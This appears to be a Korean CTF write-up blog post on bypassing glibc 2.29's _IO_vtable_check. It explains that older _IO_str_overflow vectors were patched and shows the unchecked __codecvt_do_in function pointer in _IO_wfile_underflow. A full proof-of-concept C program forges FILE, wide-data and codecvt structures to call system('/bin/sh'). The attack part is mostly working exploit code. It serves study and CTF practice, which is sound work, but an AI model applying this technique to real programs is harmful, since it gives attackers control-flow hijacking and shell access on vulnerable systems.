howdays

JIN's Lab

Uncategorized

bypass _IO_vtable_check in glibc 2.29

glibc 2.27까지 _IO_vtable_check 우회하기 위해서 _IO_str_overflow , _IO_str_finish를 주로 이용했습니다.
하지만 glibc 2.28부터는 이 벡터들이 모두 패치가 되면서 익스플로잇이 불가능합니다.

예로, glibc 2.27의 _IO_str_overflow에서

if (new_size < old_blen)
        return EOF;
      new_buf
        = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

함수포인터 _s._allocate_buffer를 부를 때 _IO_vtable_check로 함수 범위를 검증을 하지 않습니다.
그래서 보통 저 함수포인터를 덮어서 원하는 주소를 호출하였습니다.

하지만 glibc 2.28부터 _s._allocate_buffer가 malloc 함수로 바뀌면서 더 이상 이 벡터로 RIP를 조작하지 못합니다.

if (new_size < old_blen)
        return EOF;
      new_buf = malloc (new_size);

0ctf의 Duet을 풀 때 위와 비슷한 상황이었습니다. glibc 2.29에서 _IO_str_overflow가 패치가 되버린 것을 확인하고, _IO_vtable_check을 우회할 수 있는 벡터를 직접 찾아서 익스플로잇에 성공하였습니다.

그 벡터는 glibc 2.29의 _IO_wfile_underflow함수에서 쉽게 발견 할 수 있었습니다.

wint_t
_IO_wfile_underflow (FILE *fp)
{
  struct _IO_codecvt *cd;
  enum __codecvt_result status;
  ssize_t count;

  /* C99 requires EOF to be "sticky".  */
  if (fp->_flags & _IO_EOF_SEEN)
    return WEOF;

  if (__glibc_unlikely (fp->_flags & _IO_NO_READS))
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
    return *fp->_wide_data->_IO_read_ptr;

  cd = fp->_codecvt;

  /* Maybe there is something left in the external buffer.  */
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    {
      /* There is more in the external.  Convert it.  */
      const char *read_stop = (const char *) fp->_IO_read_ptr;

      fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state;
      fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr =
    fp->_wide_data->_IO_buf_base;
      status = (*cd->__codecvt_do_in) (cd, &fp->_wide_data->_IO_state,
                       fp->_IO_read_ptr, fp->_IO_read_end,
                       &read_stop,
                       fp->_wide_data->_IO_read_ptr,
                       fp->_wide_data->_IO_buf_end,
                       &fp->_wide_data->_IO_read_end);
      ...

여기서 중요한 곳은 _IO_vtable_check로 검증안하는 함수를 호출하는 부분입니다.

status = (*cd->__codecvt_do_in) (cd, &fp->_wide_data->_IO_state,
                       fp->_IO_read_ptr, fp->_IO_read_end,
                       &read_stop,
                       fp->_wide_data->_IO_read_ptr,
                       fp->_wide_data->_IO_buf_end,
                       &fp->_wide_data->_IO_read_end);

*cd->__codecvt_do_in는 glibc 2.27의 _s._allocate_buffer 처럼 _IO_vtable_check로 범위 검증을 하지 않습니다.
Duet을 풀 때, 모든 구조체를 마음대로 만들수 있었기 때문에 *cd->__codecvt_do_in 까지 접근할 수 있는 fake _IO_FILE와 _codecvt 구조체들을 만들어서 쉘 획득에 성공하였습니다

Proof of Concept Code

#include <stdio.h>
#include <stdlib.h>

#define _IO_EOF_SEEN 0x0010
#define _IO_NO_READS 0x0004

#define SIZE__IO_wide_data 0x138
#define SIZE__IO_codecvt 0xc0

struct _IO_wide_data
{
  char *_IO_read_ptr;        /* Current read pointer */
  char *_IO_read_end;        /* End of get area. */
  char *_IO_read_base;        /* Start of putback+get area. */
  char *_IO_write_base;        /* Start of put area. */
  char *_IO_write_ptr;        /* Current put pointer. */
  char *_IO_write_end;        /* End of put area. */
  char *_IO_buf_base;        /* Start of reserve area. */
  char *_IO_buf_end;
};

struct _IO_codecvt
{
  void (*__codecvt_destr) (struct _IO_codecvt *);
  enum __codecvt_result (*__codecvt_do_out) (struct _IO_codecvt *,
                                             __mbstate_t *,
                                             const wchar_t *,
                                             const wchar_t *,
                                             const wchar_t **, char *,
                                             char *, char **);
  enum __codecvt_result (*__codecvt_do_unshift) (struct _IO_codecvt *,
                                                 __mbstate_t *, char *,
                                                 char *, char **);
  enum __codecvt_result (*__codecvt_do_in) (struct _IO_codecvt *,
                                            __mbstate_t *,
                                            const char *, const char *,
                                            const char **, wchar_t *,
                                            wchar_t *, wchar_t **);
};

int main(){
    //initialize
    FILE fp = {0,};
    struct _IO_wide_data * _wide_data = malloc(SIZE__IO_wide_data);
    struct _IO_codecvt * cd = malloc(SIZE__IO_codecvt);

    fp._wide_data = _wide_data;
    fp._codecvt = cd;

    /*
      if (fp->_flags & _IO_EOF_SEEN)
            return WEOF;

    if (__glibc_unlikely (fp->_flags & _IO_NO_READS)
    */

    fp._flags = ~_IO_EOF_SEEN;
    fp._flags &= ~_IO_NO_READS;

    /* if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end) */

    fp._wide_data->_IO_read_ptr = (char*)1;
    fp._wide_data->_IO_read_end = (char*)0;

    /* if (fp->_IO_read_ptr < fp->_IO_read_end) */

    fp._IO_read_ptr = (char*)0;
    fp._IO_read_end = (char*)1;

    cd->__codecvt_do_in = system;
    cd->__codecvt_destr = 0x68732f6e69622f; //bin/sh

    //GET SHELL!
    _IO_wfile_underflow(&fp);
}

SOLVED!

Leave a Reply